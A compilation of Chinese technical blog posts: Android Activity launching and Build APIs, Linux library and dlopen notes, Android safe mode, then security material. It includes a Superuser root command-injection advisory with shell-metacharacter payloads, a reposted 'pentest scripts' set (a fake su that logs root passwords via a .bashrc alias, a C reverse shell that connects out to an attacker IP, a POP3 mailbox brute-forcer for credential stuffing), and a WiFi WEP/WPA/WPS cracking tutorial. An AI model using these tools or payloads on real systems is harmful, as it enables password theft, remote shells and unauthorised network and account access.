启动另外的一个应用程序的Activity(三种方式)

第一种(我自己写的) :之前在网上看来一些,很多不是我要的可以启动另外一个应用程序的主Activity.
//这些代码是启动另外的一个应用程序的主Activity,当然也可以启动任意一个Activity
ComponentName componetName = new ComponentName(
//这个是另外一个应用程序的包名
“com.poynt.weibo”,
//这个参数是要启动的Activity
“com.poynt.weibo.ui.IndexActivity”);

try {
Intent intent = new Intent();
intent.setComponent(componetName);
startActivity(intent);
} catch (Exception e) {
// Toast.makeText(getApplicationContext(), “可以在这里提示用户没有找到应用程序,或者是做其他的操作!”, 0).show();

}
复制代码

第二种
:这里是启动另外一个程序的Activity之后,并把参数传过去!
在一个Android应用程序A中调用另一个Android程序B,同时传递数据给B

ComponentName componentName = new ComponentName(
“com.xiaohua.player.activity”,
“com.xiaohua.player.activity.PlayerActivity”);
Intent intent = new Intent();
Bundle bundle = new Bundle();
bundle.putString(“resUrl”, resurl);
bundle.putSerializable(“picUrlList”, picurllist);
intent.putExtras(bundle);
intent.setComponent(componentName);
startActivity(intent);
注:
com.xiaohua.player.activity:包路径
PlayerActivity:Activity类
resUrl :String类型
picUrlList:数组,也可以是对象
应用程序安装后,按以上方式可进行调用.

接受activity:
public void getParameterByIntent() {
Intent mIntent = this.getIntent();
String resUrl = mIntent.getStringExtra(“resUrl”);
String[] picUrlList = (String[]) mIntent.getSerializableExtra(“picUrlList”);
if (null != picUrlList) {
int count = picUrlList.length;
for (int i = 0; i < count; i++) { Log.e("tag", "picUrlList[" + i + "]" + picUrlList); } } } 来自:http://hi.baidu.com/huaxinchang/blog/item/5fa81903474097f409fa9305.html 复制代码 第三种:在一个apk中调用另外一个apk中的activity 转自:http://www.eoeandroid.com/forum.php?mod=viewthread&tid=69600 其实,这本来是一件很简单的事情,但是小编发现很多人问这个问题,所以写篇小文章供eoe的朋友们参考。 系统提供了很多可以直接调用的Activity,通过指定的Intent就可以调用,比如打开搜索的: Intent intent = new Intent(Intent.ACTION_WEB_SEARCH); intent.putExtra(SearchManager.QUERY,"searchString") startActivity(intent); 复制代码 Intent.ACTION_WEB_SEARCH是一个字符串,是“搜索”这个Activity的标识,extra是传给这个activity的一些数据。发送出这个intent之后,系统根据action字符串Intent.ACTION_WEB_SEARCH知道了是要调用哪个activity,如果有重名,会弹出一个选择对话框。然后打开此activity,实现想要做的事情。 那么,我们自己怎么来实现呢。 首先,写一个activity,在AndroidManifest.xml里面的intent-filter中,给这个activity命名:



复制代码

然后安装。安装完毕之后,你会发现,系统中找不到这个程序。别急,它确实安装在手机里面了,但是因为他不是main的,所以系统不会把他当做Application的入口程序。

而要想打开这个activity,只有知道它名字的人才可以。跟系统的intent一样使用。它的名字定义为”chroya.foo”,所以,这里用这个字符串就可以调用它了:

Intent intent = new Intent(“chroya.foo”);
startActivity(intent);
复制代码

小编用刚才举的那个系统的intent说明,它的activity里面使用 getIntent().getBundleExtra(SearchManager.QUERY)来接收传递进来的搜索字符串参数。而这个 SearchManager.QUERY是关键字。如果要自己实现这种功能,只需要定义好关键字,然后从BundleExtra中取就行了。

Android Superuser shell character escape vulnerability

Vulnerable releases of two common Android Superuser packages may allow
malicious Android applications to execute arbitrary commands as root,
either without prompting the user or after the user has denied the
request:

– CyanogenMod/ClockWorkMod/Koush Superuser (current releases,
including v1.0.2.1)
– Chainfire SuperSU prior to v1.69

The majority of recent third-party ROMs include one of these packages.
Older ROMs may use the ChainsDD Superuser package, which is not
affected but is no longer maintained.

On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line. On a rooted Android >= 4.3 device, due to changes in Android’s
security model, /system/xbin/su functions as an unprivileged client
which connects to a “su daemon” started early in the boot process.
The client passes the request over a UNIX socket, and the daemon reads
the caller’s credentials using SO_PEERCRED. As described above,
/system/bin/am is called (now from the daemon) to communicate with the
app that implements the user interface.

If the user invokes “su -c ‘COMMAND'” and the request is denied (or
approved), ClockWorkMod Superuser constructs a command line to pass to
a root shell:

snprintf(user_result_command, sizeof(user_result_command), “exec
/system/bin/am ” ACTION_RESULT ” –ei binary_version %d –es from_name
‘%s’ –es desired_name ‘%s’ –ei uid %d –ei desired_uid %d –es
command ‘%s’ –es action %s –user %d”,
VERSION_CODE,
ctx->from.name, ctx->to.name,
ctx->from.uid, ctx->to.uid, get_command(&ctx->to),
policy == ALLOW ? “allow” : “deny”, ctx->user.android_user_id);

get_command() would return “COMMAND”, unescaped, through
“/system/bin/sh -c”. By adding shell metacharacters to the command,
the root subshell can be tricked into running arbitrary command lines
as root:

su -c “‘&touch /data/abc;'”

Upon denial by the operator, “touch /data/abc” will be executed with
root privileges. The Superuser variant of this problem is being
tracked under CVE-2013-6769.

SuperSU prior to v1.69 removes quote and backslash characters from the
string passed to /system/bin/sh, but backticks or $() can be used
instead for the same effect:

su -c ‘`touch /data/abc`’
su -c ‘$(touch /data/abc)’

The SuperSU variant of this problem is being tracked under CVE-2013-6775.

ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied
input on the /system/bin/am command line.

dexopter | dex转odex的工具|dex转odex过程

apk生成odex文件方法:
编译开源GIT上的build/tools /dexpreopt/dexopt-wrapper这个,使用dexopt-wrapper即可,
操作步骤
将dexopt-wrapper放到手机的/data/local目录中,在dos界面使用adb工具,
====================================================
adb push ./dexopt-wrapper /data/local
adb push sim.apk /data/local
adb shell
cd /data/local
chmod 777 dexopt-wrapper
./dexopt-wrapper sim.apk sim.odex
而后把odex文件从手机里copy出来就行了。
再把sim.apk里的dex文件删除,重新签名。

【Android】Android 代码判断当前设备是否为模拟器

【Android】Android 代码判断当前设备是否为模拟器

方法比较简单,直接粘贴代码

  //判断当前设备是否是模拟器。如果返回TRUE,则当前是模拟器,不是返回FALSE
public static boolean isEmulator(Context context){
try{
TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
String imei = tm.getDeviceId();
if (imei != null && imei.equals(“000000000000000”)){
return true;
}
return (Build.MODEL.equals(“sdk”)) || (Build.MODEL.equals(“google_sdk”));
}catch (Exception ioe) {

}
return false;
}

——————————————————————————————–

android.os.Build
Java代码
Build.BOARD // 主板
Build.BRAND // android系统定制商
Build.CPU_ABI // cpu指令集
Build.DEVICE // 设备参数
Build.DISPLAY // 显示屏参数
Build.FINGERPRINT // 硬件名称
Build.HOST
Build.ID // 修订版本列表
Build.MANUFACTURER // 硬件制造商
Build.MODEL // 版本
Build.PRODUCT // 手机制造商
Build.TAGS // 描述build的标签
Build.TIME
Build.TYPE // builder类型
Build.USER

// 运行结果
/*
board: unknown
brand: generic
cpu abi: armeabi
device: generic
display: google_sdk-eng 2.1 ERD79 22607 test-keys
finger print: generic/google_sdk/generic/:2.1/ERD79/22607:eng/test-keys
host: genki.mtv.corp.google.com
id: ERD79
manufacturer: unknown
model: google_sdk
product: google_sdk
tags: test-keys
time: 1261185425000
type: eng
user: android-build
*/

Build.VERSION
Java代码
// 当前开发代号
Build.VERSION.CODENAME
// 源码控制版本号
Build.VERSION.INCREMENTAL
// 版本字符串
Build.VERSION.RELEASE
// 版本号
Build.VERSION.SDK
// 版本号
Build.VERSION.SDK_INT

// 结果
/*
REL
22607
2.1
7
7
*/

// Build.VERSION.SDK_INT可与switch搭配用
switch (Build.VERSION.SDK_INT) {
case Build.VERSION_CODES.BASE: // 1.0
break;

case Build.VERSION_CODES.BASE_1_1: // 1.1
break;

case Build.VERSION_CODES.CUPCAKE: // 1.5
break;

case Build.VERSION_CODES.CUR_DEVELOPMENT: // current dev version
break;

case Build.VERSION_CODES.DONUT: // 1.6
break;

case Build.VERSION_CODES.ECLAIR: // 2.0
break;

case Build.VERSION_CODES.ECLAIR_0_1: // 2.0.1
break;

case Build.VERSION_CODES.ECLAIR_MR1: // 2.1
break;
}

android.os.SystemClock
文档中对System.currentTimeMillis()进行了相应的描述,就是说它不适合用在需要时间间隔的地方,如Thread.sleep, Object.wait等,因为可以通过System.setCurrentTimeMillis来改变它的值。

要用时间间隔,推荐使用SystemClock中的相关方法。
Java代码
SystemClock.currentThreadTimeMillis(); // 在当前线程中已运行的时间
SystemClock.elapsedRealtime(); // 从开机到现在的毫秒书(手机睡眠(sleep)的时间也包括在内)
SystemClock.uptimeMillis(); // 从开机到现在的毫秒书(手机睡眠的时间不包括在内)
SystemClock.sleep(100); // 类似Thread.sleep(100);但是该方法会忽略InterruptedException
SystemClock.setCurrentTimeMillis(1000); // 设置时钟的时间,和System.setCurrentTimeMillis类似

// 时间间隔
long timeInterval = SystemClock.uptimeMillis() – lastTime;
// do something with timeInterval

android.os.PowerManager
PowerManager的flag的意思:

Java代码
// PowerManager的一般用法,请求和释放唤醒锁
PowerManager powerMgr = (PowerManager)
getSystemService(Context.POWER_SERVICE);
int flags = PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP;
WakeLock wakeLock = powerMgr.newWakeLock(flags, “for debug purpose tag”);
wakeLock.acquire(); // 获取唤醒锁
wakeLock.release(); // 释放唤醒锁
// 在游戏中,会将acquire放在onResume中;将release放在onPause,这样在程序运行时就可以保持屏幕常量;在程序处在后台时,就恢复原来的设置。

// PowerManager的其它api的使用
powerMgr.goToSleep(SystemClock.uptimeMillis() + 100); // 100ms后进入睡眠
powerMgr.isScreenOn(); // 屏幕是否亮着
powerMgr.userActivity(SystemClock.uptimeMillis()+100, true); // 相当于按home键,会引起从睡眠激活

// WakeLock的其它api
wakeLock.acquire(1000); // 获取唤醒锁,并在1000ms后释放
wakeLock.isHeld(); // 当前是否持有唤醒锁
// 是否使用引用计数,默认是启用的。引用计数应该就是第一次请求为1,第二次加1,再一次再加1。
// 在释放时,只有引用计数为0时才被视为完全释放(所以要多次调用release)
wakeLock.setReferenceCounted(true);

原文:http://www.cnblogs.com/rayray/archive/2013/08/01/3230131.html
http://yuanzhifei89.iteye.com/blog/1168544

linux 静态库、共享库

一、什么是库

本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入内存执行。由于windows和linux的本质不同,因此二者库的二进制是不兼容的。
Linux操作系统支持的函数库分为静态库和动态库,动态库又称共享库。Linux系统有几个重要的目录存放相应的函数库,如/lib    /usr/lib。
二、静态函数库、动态函数库
A.  这类库的名字一般是libxxx.a;利用静态函数库编译成的文件比较大,因为整个函数库的所有数据都被整合进目标代码中,他的优点就显而易见了,即编译后的执行程序不需要外部的函数库支持,因为所有使用的函数都已经被编译进可执行文件了。当然这也会称为它的缺点,因为如果静态函数库改变了,那么你的程序必须重新编译,而且体积也较大。
B.这类库德名字一般是libxxx.so,动态库又称共享库;相对于静态函数库,动态函数库在编译的时候并没有被编译进目标代码中,你的程序执行到相关函数时才调用函数库里的相应函数,因此动态函数库所产生的可执行文件比较小。由于函数库没有被整合进你的程序,而是程序运行时动态申请并调用,所以程序的运行环境中必须提供相应的库。动态函数库的改变并不影响你的程序,所以动态函数库的升级比较方便。而且如果多个应用程序都要使用同一函数库,动态库就非常适合,可以减少应用程序的体积。
注意:不管是静态函数库还是动态函数库,都是由*.o目标文件生成。
三、函数库的创建
A.静态函数库的创建
ar -cr  libname.a   test1.o  test2.o
ar:静态函数库创建的命令
-c :create的意思
-r :replace的意思,表示当前插入的模块名已经在库中存在,则替换同名的模块。如果若干模块中有一个模块在库中不存在,ar显示一个错误信息,并不替换其他同名的模块。默认的情况下,新的成员增加在库德结尾处。
B.动态函数库的创建
gcc -shared  -fpic  -o libname.so  test1.c test2.c
-fpic:产生代码位置无关代码

-shared :生成共享库
四、静态库和动态库的使用
案例:
add.c
#include <stdio.h>
 
int add(int a,int b)
{
return a + b;
}
sub.c
#include <stdio.h>
 
int sub(int a,int b)
{
return a – b;
}
 
head.h
 
#ifndef _HEAD_H_
#define _HEAD_H_
extern int add(int a,int b);
extern int sub(int a,int b);
#endif
main.c
#include <stdio.h>
 
int main(int argc,char *argv[])
{
int a,b;
 
if(argc < 3)
{
fprintf(stderr,”Usage : %s argv[1] argv[2].\n”,argv[0]);
return -1;
}
a = atoi(argv[1]);
b = atoi(argv[2]);
 
printf(“a + b = %d\n”,add(a,b));
printf(“a – b = %d\n”,sub(a,b));
 
return 0;
}
生成静态库

生成动态库:

使用生成的生成的库:

其中
-L 指定函数库查找的位置,注意L后面还有’.’,表示在当前目录下查找
-l则指定函数库名,其中的lib和.a(.so)省略。
注意:-L是指定查找位置,-l指定需要操作的库名。
从上面的运行结果中,我们可以看到:
A.当动态库和静态库同时存在的时候,gcc默认使用的是动态库。如果强制使用静态库则需要加-static选项支持。
B.动态库生成的可执行文件,test1不能正常的运行。
C.链接静态库的可执行程序明显比链接动态库的可执行文件大。
五、让链接动态库的可执行程序正常运行。
当系统加载可执行代码时候,能够知道其所依赖的库的名字,但是还需要知道绝对路劲。此时就需要系统动态载入器(dynamic  linker/loader)。
对于elf格式的可执行程序,是由ld-linux.so*来完成的,它先后搜索elf文件的DT_RPATH段—环境变量LD_LIBRARY_PATH、/etc/ld.so.cache文件列表、/usr/lib、/lib目录找到库文件后将其载入内存。
A.一种最直接的方法,就是把生成的动态库拷贝到/usr/lib或/lib中去。

B.使用LD_LIBRARY_PATH环境变量,这个环境变量在ubuntu操作系统中默认没有,需要手动添加

C.动态在安装在其他目录下,如果想操作系统能找到它,可以通过一下步骤
<1>新建并编辑/etc/ld.so.conf.d/my.conf文件,加入库所在目录的路径
<2>执行ldconfig命令更新ld.so.cache文件

此时,在执行链接动态库的可执行文件则可以正常运行。
六、查看库中的符号
A.nm命令可以打印出库中涉及到的所有符号。库既可以是静态库也可以是动态的。
常见的三种符号:
<1>在库中被调用,但没有在库中定义(表明需要其他库支持),用U表示
<2>在库中定义的函数,用T表示
<3>“弱态”符号,他们虽然在库中被定义,但是可能被其他库中同名的符号覆盖,用W表示。

B.ldd命令可以查看一个可执行程序依赖的共享库

七、动态加载库
用gcc -shared生成的我们称为动态库(共享库),其中动态库在运行的过程中有两种方式
A.动态链接
这种方式下,可执行程序只是做一个动态的链接,当需要用到动态库中的函数时,有加载器隐士的加载。
B.动态加载
这种方式下,在可执行程序的内部,我们可以用dlopen()这样的函数,手动进行加载,dlsym()函数找到我们想要调用函数的入口地址,然后进行调用。这种方式,在写插件程序中得到广泛应用。
相关的API:

<1>dlopen()打开一个新的动态库,并把它装入内存。该函数主要用来记载库中的符号,这些符号在编译的时候是不知道的。
dlopen()函数需要两个参数:一个文件名和一个标志。
A.文件名是我们之前接触过的动态库的名字,如果它是一个绝对路径,如:/home/cyg/worddir/libname.so,此时dlopen直接到指定的路径下打开动态库。
如果没有指定路径,仅仅指定了一个动态库的名字,此时dlopen将它先后搜索elf文件的DT_RPATH段、环境变量LD_LIBRARY_PATH、/etc/ld.so.cache文件列表、/lib、/usr/lib目录找到库文件后将其载入内存。

B.标志指明是否立刻计算库的依赖性。

常常一个库中还依赖别的库,就是这个函数实现的时候,调用了别的库函数。不是在这个库中实现的函数我们称为位定义的符号。

如果将标志 设置为RTLD_NOW的话,则会在dlopen函数返回前,将这些未定义的符号解析出来。如果设置为RTLD_LAZY,则会在需要的时候才会去解析。
返回值:dlopen()函数会返回一个句柄作为dlsym()函数的第一个参数,以获得符号在库中的地址。使用这个地址,就可以获得库中特定函数的指针,并且调用装载库中的相应函数。
<2>dlerror()
当动态链接库操作函数执行失败时,dlerror可以返回出错信息,返回值为NULL时表示操作函数执行成功。
<3>void *dlsym(void *handle,char *symbol);
dlsym根据动态链接库操作句柄(handle)与符号(symbol),返回符号对应的函数的执行代码地址。由此地址,可以带参数执行相应的函数。
如程序代码 :int (*add)(int x,int y);//函数指针
handle = dlopen(“xxx.so”,RTLD_LAZY);//打开共享库
add = dlsym(handle,”add”);//获取add函数在共享库的地址
value = add(12,34);//调用add函数
<4>int dlclose(void *handle);
dlclose用于关闭指定句柄的动态链接库,只有当此动态链接库的使用计数为0时,才会真正被系统卸载。
案例:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <dlfcn.h>
 
int test_dl(char *pso,char *pfu)
{
void *handle;
int (*ptest)(int x,int y);
 
if((handle = dlopen(pso,RTLD_LAZY)) == NULL)
{
printf(“%s.\n”,dlerror());
return -1;
}
if((ptest = dlsym(handle,pfu)) == NULL)
{
printf(“%s.\n”,dlerror());
return -1;
}
 
printf(“ptest complete : %d.\n”,ptest(12,13));
dlclose(handle);
 
return 0;
}
 
int main(int argc,char *argv[])
{
char buf[100];
char *pso,*pfun;
printf(“Input xxx.so:function_name.\n”);
while(1)
{
printf(“>”);
fgets(buf,sizeof(buf),stdin);
buf[strlen(buf)-1] = 0;
 
pso = strdup(strtok(buf,”:”));
pfun = strdup(strtok(NULL,”:”));
test_dl(pso,pfun);
}
return 0;
}
运行结果:

ACM在线系统编译命令

C

/usr/bin/gcc -DEVAL -static -O2 -o HelloWorld HelloWorld.c -lm

C++

/usr/bin/g++ -DEVAL -static -O2 -o HelloWorld HelloWorld.cpp

Java

/bin/mv HelloWorld.java Task.java
/usr/bin/gcj –main=Task -O3 -o HelloWorld Task.java

嗯其实我想记录的是把一个(几个)java文件编译成一个linux上可执行的ELF文件方法

gcj –main=Task(main函数所在的java文件为Task.java,所以..) -O3 -o HelloWorld(编译之后产生ELF的名字) Task.java A.java(Java源文件依次列在这里)

Android手机进入安全模式

最近有一款名为AndroidOS.Koler.a的手机恶意软件.
它:
在色情网站传播,并冒名为高清播放器,让用户下载安装在手机上. 当用户安装之后,这软件跳出一个弹出框,声明由于用户浏览/观看色情内容,已经被警察蜀黍锁定.需要支付300美刀才可将手机解锁.在此之后,这个手机算是完全废掉了. 因为出现的所有界面之上肯定会被这个弹出框覆盖(包括播出电话界面和接受电话界面).

如何卸掉这样的软件近来各家安全公司皆有自己的方法, 抢占界面的优先权为第一考虑, 不过病毒无谓资源消耗,杀毒再去抢占只能把手机卡到爆. 再者靠用户眼疾手快在弹窗尚未弹出的零点几秒内启动病毒专杀(金山这么干的).还有就是进入Android手机的安全模式, 在安全模式内卸载掉该恶意软件即可.

Android上的安全模式类似于windows的安全模式, 在Android的安全模式下,任何的第三方应用(/data/app下的应用)都不会被启动,即使他们注册为BOOT_COMPLETE的service也不会被启动. 原则上说,在Android安全模式下,用户安装的任何应用都能够被卸载掉(除非你root之后将这个软件安装成系统应用).

根据不同机型有三种进入安全模式的方法:
第一种:[Google设备,多种开源项目, AOSP等]
1. 长按电源键
2. 一个弹窗跳出
3. 长按弹窗中的”关机”
4. 这时候应该会跳出又一个弹窗包含两个按钮,分别为”重启”, “进入安全模式”
5. 点下进入安全模式,即可重启后进入安全模式

第二种:[三星Galaxy S4]
1. 断电
2. 开机并重复点击”Menu”的软键盘键
第三种:[三星Galaxy S3以及其他的一些机型]
1. 断电
2. 开机,长按音量的加键[Galaxy S3以及其他], 减键[HTC One以及其他], 同时长按加减键[摩托罗拉的多种机型]. 当厂商logo出现时,选择安全模式. 当进入安全模式之后可以在左下角看到一个安全模式的标志.

渗透用的Python小脚本

0×00

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0×01

记录root密码小工具

root.py

01
#!/usr/bin/python
02
import os, sys, getpass, time
03

04
current_time = time.strftime(“%Y-%m-%d %H:%M”)
05
logfile=”/dev/shm/.su.log” //密码获取后记录在这里
06
#CentOS
07
#fail_str = “su: incorrect password”
08
#Ubuntu
09
#fail_str = “su: Authentication failure”
10
#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
11
fail_str = “su: incorrect password”
12
try:
13
passwd = getpass.getpass(prompt=’Password: ‘);
14
file=open(logfile,’a’)
15
file.write(“[%s]t%s”%(passwd, current_time)) //截取root密码
16
file.write(‘n’)
17
file.close()
18
except:
19
pass
20
time.sleep(1)
21
print fail_str //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

01
#include
02
#include
03
#include
04
#include
05
#include
06
void error(char *msg)
07
{
08
perror(msg);
09
exit(0);
10
}
11
int main(int argc, char *argv[])
12
{
13
int sockfd, portno, lportno,n;
14
struct sockaddr_in serv_addr;
15
struct sockaddr_in client_addr;
16
struct hostent *server;
17
char buffer[256];
18
if (argc < 3) { 19 fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]); 20 exit(0); 21 } //三个参数,目标主机,目标主机端口,本地源端口 22 portno = atoi(argv[2]); 23 sockfd = socket(AF_INET, SOCK_STREAM, 0); 24 if (sockfd < 0) 25 error("ERROR opening socket"); 26 27 28 bzero((char *) &client_addr, sizeof(client_addr)); 29 lportno = atoi(argv[3]); 30 client_addr.sin_family = AF_INET; 31 client_addr.sin_addr.s_addr = INADDR_ANY; 32 client_addr.sin_port = htons(lportno); //设置源端口 33 if (bind(sockfd, (struct sockaddr *) &client_addr, 34 sizeof(client_addr)) < 0) 35 error("ERROR on binding"); 36 37 server = gethostbyname(argv[1]); 38 if (server == NULL) { 39 fprintf(stderr,"ERROR, no such host "); 40 exit(0); 41 } 42 bzero((char *) &serv_addr, sizeof(serv_addr)); 43 serv_addr.sin_family = AF_INET; 44 bcopy((char *)server->h_addr,
45
(char *)&serv_addr.sin_addr.s_addr,
46
server->h_length);
47
serv_addr.sin_port = htons(portno);
48
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接 49 error("ERROR connecting"); 50 dup2(fd, 0); 51 dup2(fd, 1); 52 dup2(fd, 2); 53 execl("/bin/sh","sh -i", NULL); //执行shell 54 close(fd); 55 } 用法: 1 gcc client-port.c -o port 1 chmod +x port 1 ./port 你的IP 你的监听端口 本地的源端口 如 ./port http://www.91ri.org 80 80 成功反弹shell 提权成功 0×03 邮箱爆破脚本 某个时候 需要爆破一批邮箱 Burp163.pl 01 #!/usr/bin/perl 02 use Net::POP3; 03 $email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com 04 $pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. “);
05
print $pop->banner();
06
$pop->quit;
07
$i=0;
08
open(fp1,”user.txt”);
09
@array1=;
10
open(fp2,”pass.txt”);
11
@array2=; //从文件中获取邮箱用户名及密码
12
foreach $a(@array1) {
13
$u=substr($a,0,length($a)-1);
14
$u=$u.”@163.com”;
15
foreach $b(@array2) {
16
$p=substr($b,0,length($b)-1);
17
print “cracked with “.$u.”—–“.$p.”n”;
18
$i=$i+1;
19
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. “);
20
$m=$pop->login($u,$p); //尝试登录邮箱
21
if($m>0)
22
{
23
print $u.”————“.$p.”—-“.”success”.”n”;
24
$pop->quit;
25
} //成功登录
26
else
27
{
28
print $u.”————“.$p.”—-“.”failed”.”n”;
29
$pop->quit; //登录失败
30
}
31
}
32
}
33
print $i;
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

1
$email=”pop.163.com”;
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0×04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。
转自=: http://www.91ri.org/8680.html

从无线安全到内网渗透

前一阵子很火的Evi1m0牛写的那篇《蹭网之后,能做些什么?》,不知各位童鞋看过没?还有闹得沸沸扬扬的路由器安全漏洞可能大家也都耳闻了,你觉得你家路由器还安全吗:)路由器安全真是越来越火了,有句话说的落后就要挨打啊,那么今天我就给各位童鞋科普下无线网络安全的知识,你以为加个密就万无一失了吗,突破这第一道防线轻松带微笑有木有,WiFi在手,天下我有~

1.神兵利器

俗话说的好,巧妇难为无米之炊,这是需要硬件支持的,你需要买一张USB无线网卡。当然网卡也不是随便都行的,特定的芯片对破解算法支持比较好,列举几个流行的芯片给你们参考下,有AR9271,8187L,RT3070这几种。从我实践经验来看,8187和3070信号虚标比较严重,9271的信号比较真实一点。说完了硬件就轮到软件了,你可以选择大名鼎鼎的kali渗透测试系统,感觉有点大材小用,其实用网上非常流行的定制版的cdlinux就行了,才100多M里面已经帮你集成了众多WiFi破解工具了,如果用kali的话还要手动安装deb包。不推荐用Ubuntu之类的”裸机”,如果你不嫌麻烦把一个个依赖包都装好也无所谓。常用的工具有minidwep-gtk,feedingbottle,inflator,reaver这几个。在kali下,除了集成的reaver之外其他都要手动安装,用命令dpkg –i xx.deb就行了。cdlinux下已经集成了我说的那几个工具。这几个工具依赖的基础都是aircrack-ng,其中minidwep-gtk和feedingbootle是aircrack-ng的GUI版本,inflator是reaver的GUI版本。

2.”秒杀”WEP加密

米都准备好了,准备下锅了,把无线网卡连接到虚拟机里面,开始干活吧。先ifconfig下,确定认到无线网卡wlanx就行了~

1

既然是科普,那就先从最古老的WEP加密说起吧,这种加密方式现在很少见了,如果你发现周围有用wep加密的信号,那就爽歪歪了,拿不下会被鄙视的。wep加密方式存在天生的算法缺陷,只要捕捉到足够多的数据包,就能还原出WiFi明文密码。这其中的算法安全问题感兴趣的东西不妨谷歌下。wep的用minidwep-gtk就能轻松搞定,这里我就用minidwep来说明,因为操作简单,自动化,feedingbottle类似,但是略麻烦适合爱折腾的同学。打开minidwep先扫描下信号,scan,加密方式encryption选择wep,果断点运行lanch,喝口水等密码出来吧~

2

看到key了吧,那就是你想要的密码。不管密码多复杂,破解只是时间问题,只需要稍作等待。feedingbottle和minidwep类似了,只是更加手工话一点,你需要详细了解aircrack-ng套件的工作原理,才能灵活驾驭。

3

也就是说wep加密是属于秒杀级别的,不过你还是需要面对满地wpa的残酷现实。说难其实也不难,问题在于大家喜欢给WiFi设置弱口令,可以像Evi1m0那样通过字典把密码给搞定了。好好想想自己的WiFi用的什么密码了:)

3.WPA加密对策

WPA密码破解可以利用两种方式:

  • 抓WPA握手包然后跑字典  字典的好坏直接决定成功率
  • reaver穷举pin码       这种方式需要时间,但是如果可行,密码是百分百可以破解的

 

3.1抓包破解攻击

先说第一种吧,抓握手包跑字典,这主要看你的字典给不给力了,拼人品的时间到了,和破解wep操作一样的,选中信号点lanch开始抓包,抓包的时候路由器是一定要有用户使用,目的是攻击导致对方掉线,在自动重连的过程中抓取WPA认证的四次握手包。如果一直没找到在线的客户端,就抓不到包的,只能等有人用的时候再试了。

4

弹出下面这个提示,说明抓包成功了,把包拷出来用EWSA验证下是不是完整的握手包,要包含完整的四次握手信息才能用来破解。

5

只有提示是有效的数据包才能进行字典破解,像下面这样的数据包就是可以利用的。

7

接下来请出hash神器,hashcat。可能有些人会奇怪我为什么不用ewsa直接跑字典,因为hashcat的效率比ewsa高很多,而且功能也强大很多,字典跑不出密码还可以用灵活多变的暴力规则方式继续搞。新手推荐用hashcat-GUI吧,带界面操作简单很多。wpa加密方式本身不像wep加密那样有漏洞,错就错在大家都喜欢用弱密码,看我下面列举的这几个,欢迎对号入座~

  • 8位纯数字
  • 本地固话
  • 本地手机号码
  • 弱密码(1234567890等等)

躺枪了没?这些都是分分钟秒杀的节奏,特别是本地手机号码是绝大部分人最喜欢用的密码,我破解的16个WiFi密码中,有13个是用手机号或者固话的。其实hashcat也是minidwep调用的跑wpa密码的软件,但是在虚拟机里面,效率就可想而知了。在宿主机外面你可以用显卡跑hashcat,效率是成倍的提高。hashcat的用法就不赘述了,百度一下就有了~

8

3.2穷举pin码攻击

接下来重点来说说第二种破解wpa加密的方式,用reaver跑pin码。大部分无线路由器都有个WPS快速连接的功能,只要连接的时候输入路由器正确的pin管理码,就可以自动的根据算法协商密钥连上WiFi。这个pin码是8位纯数字,前4位和后4位是分开验证的,第8位是检验码(根据前7位按照一定的算法可以推出第8位)。也就是说如果要穷举这个pin码,只需要10^4+10^3=11000次,reaver就是干这个差事的工具。只要路由器开启了WPS功能,并且没有锁死WPS的机制,是百分百可以尝试出正确的pin码,得到pin码后就能获取到wpa密码了。而且大部分情况下,路由器出厂开放WPS功能哦:)。不过要说明的是有些路由器,试错pin码多次会锁死,这种情况下只能用第一种抓包跑密码了。

下面来说下reaver的使用方法。

先开启网卡的混杂模式,用命令airmon-ng start wlan1,提示monitor mode enabled on mon0就代表成功了。然后用命令wash –i mon0 –C来搜索支持WPS的ap。图中的BSSID为ap的mac,channel是信道,RSSI是信号值,数字部分越小代表信号越强,WPS Locked就是刚才说的WPS锁死机制,ESSID是信号名称。选个信号强一点的没有WPS 锁死机制的ap就可以用reaver开始破解了,信号差的效率低,容易丢包,时不时会报错,要注意参数调节。

9

10

列举reaver的几个常用参数

01 -i  监听后接口名称 网卡的监视接口,通常是mon0
02 -b  目标mac地址 AP的MAC地址
03 -a  自动检测目标AP最佳配置
04 -S  使用最小的DH key,可以提高破解速度
05 -vv  显示更多的非严重警告
06 -d  即delay,延时 每穷举一次的闲置时间 预设为1秒
07 -t  即timeout,超时 每次穷举等待反馈的最长时间
08 -c  指定信道,可以方便找到信号
09 -p  PIN码四位或八位 (如果是7位第8位自动补全)
10 -N  不发送NACK信息(如果一直pin不动,可以尝试这个参数)
11 -n  对目标AP总是发送NACK

 

举个例子

